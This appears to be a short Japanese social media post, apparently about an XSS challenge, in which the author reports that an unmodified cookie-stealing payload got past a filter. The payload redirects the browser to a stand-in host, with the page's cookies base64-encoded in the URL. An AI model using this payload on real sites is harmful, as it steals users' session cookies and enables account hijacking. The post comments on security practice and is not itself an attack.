@kusano_k

頑張ってフィルタを回避する話かと思ったら、
location.href='http://example．com/?cookie='+btoa(document.cookie)
がそのまま動いた。いったい何をフィルタしているんだ……。